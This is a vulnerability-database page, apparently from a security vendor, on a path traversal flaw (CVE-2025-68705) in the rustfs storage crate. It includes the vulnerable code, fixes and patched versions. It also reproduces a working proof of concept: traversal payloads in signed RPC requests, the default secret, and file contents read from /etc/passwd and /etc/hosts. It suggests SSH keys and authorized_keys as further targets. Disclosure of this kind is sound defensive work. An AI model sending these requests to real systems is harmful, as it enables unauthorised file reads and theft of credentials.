NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🦀 crates.io
Not in CISA KEV

CVE-2025-68705 — rustfs

Fix: rustfs/rustfs@ab75245

CVE-2025-68705 is a Path Traversal vulnerability in rustfs. A fix is available for rustfs — see the affected versions and patch details below.

RustFS Path Traversal Vulnerability

Also known asGHSA-pq29-69jg-9mxc
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68705.

EPSS Exploitation Probability

via FIRST.org ↗
7.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs94th percentile — riskier than 94% of all scored CVEsHighest risk
0.00%3.19%6.38%9.56%0.0%7.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🦀rustfs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

RustFS Path Traversal Vulnerability

Vulnerability Details

  • CVE ID:
  • Severity: Critical (CVSS estimated 9.9)
  • Impact: Arbitrary File Read/Write
  • Component: /rustfs/rpc/read_file_stream endpoint
  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without:

  • Canonicalization
  • Path boundary validation
  • Protection against ../ sequences
  • Protection against absolute paths

Proof of Concept

Test Environment

  • Target: RustFS v0.0.5 (Docker container)
  • Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
  • RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
  • Disk ID: /data/rustfs0
  • Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration


2. Read /etc/hosts ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
[...]
172.20.0.3	d25e05a19bd2

Impact: Network configuration disclosure


3. Read /etc/hostname ✅

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure


Technical Analysis

Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

  1. No Canonicalization: Code doesn't use canonicalize() before validation
  2. No Boundary Check: No verification that final path is within volume_dir
  3. PathBuf::join() Behavior: Automatically resolves ../ sequences
  4. Length-Only Validation: check_path_length() only checks string length

Special Considerations

  • File Size Constraint: The length parameter must exactly match file size
    • Code validates: file.len() >= offset + length
    • Otherwise returns DiskError::FileCorrupt
  • Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)
  • Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP

Impact Assessment

Confidentiality Impact: HIGH

  • ✅ Read arbitrary files (demonstrated)
  • ✅ Read system configuration files (/etc/passwd, /etc/hosts)
  • ⚠️ Potential to read:
    • SSH keys (/root/.ssh/id_rsa)
    • Application secrets
    • RustFS configuration files
    • Environment variables from /proc

Integrity Impact: HIGH

  • ⚠️ Similar vulnerability exists in put_file_stream (not tested)
  • ⚠️ Arbitrary file write likely possible
  • ⚠️ Could write to:
    • Cron jobs
    • authorized_keys
    • System binaries (if permissions allow)

Availability Impact: MEDIUM

  • ⚠️ walk_dir endpoint could enumerate entire filesystem
  • ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites

  1. Network Access: Ability to reach RustFS RPC endpoints
  2. RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
    • Default: "rustfs-default-secret"
    • Production: From environment variable or config
  3. Disk/Volume Knowledge: Valid disk ID and volume name
  4. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

  • Without Secret: Impossible (signature verification)
  • With Secret: Trivial (automated script)
  • With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)

  1. Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
    let volume_dir = self.get_bucket_path(volume)?;

    // CRITICAL FIX:
    let file_path = volume_dir.join(Path::new(&path));
    let canonical = file_path.canonicalize()
        .map_err(|_| DiskError::FileNotFound)?;

    // Validate path is within volume_dir
    if !canonical.starts_with(&volume_dir) {
        error!("Path traversal attempt detected: {:?}", path);
        return Err(DiskError::InvalidArgument);
    }

    // Continue with validated path...
}
  1. Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
    return Err(DiskError::InvalidArgument);
}
  1. Use path-clean Crate
use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
    return Err(DiskError::InvalidArgument);
}

Additional Security Measures

  1. Audit Logging: Log all RPC file operations with full paths
  2. Rate Limiting: Prevent DoS via repeated RPC calls
  3. Secret Rotation: Ensure unique RPC secrets per deployment
  4. Network Segmentation: Restrict RPC endpoint access
  5. Security Testing: Add path traversal tests to test suite

Long-term Improvements

  1. Chroot Jail: Isolate RPC operations in chroot environment
  2. Least Privilege: Run RustFS with minimal file system permissions
  3. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploit_path_traversal.py

Usage

# Ensure RustFS is running
docker compose ps

# Run exploit
python3 exploit_path_traversal.py

Output

[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iorustfs≥ 1.0.0-alpha.13&&< 1.0.0-alpha.791.0.0-alpha.79cargo update -p rustfs --precise 1.0.0-alpha.79

Affected Products

1 product · 66 configurations
Application
rustfsrustfs
1 version
1.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rustfs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update rustfs to 1.0.0-alpha.79 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68705 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

# RustFS Path Traversal Vulnerability ## Vulnerability Details - **CVE ID**: - **Severity**: Critical (CVSS estimated 9.9) - **Impact**: Arbitrary File Read/Write - **Component**: `/rustfs/rpc/read_file_stream` endpoint - **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791` ### Vulnerable Code ```rust // local.rs:1791 - No path sanitization! let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS! check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length let mut f = self.open_file(file_path, O_RDONLY, volume_dir)
O3 Security · Impact-Aware SCA

Is CVE-2025-68705 in your dependencies?

Find it across crates.io, including transitive dependencies.

CVE-2025-68705: rustfs Path Traversal — Fix Available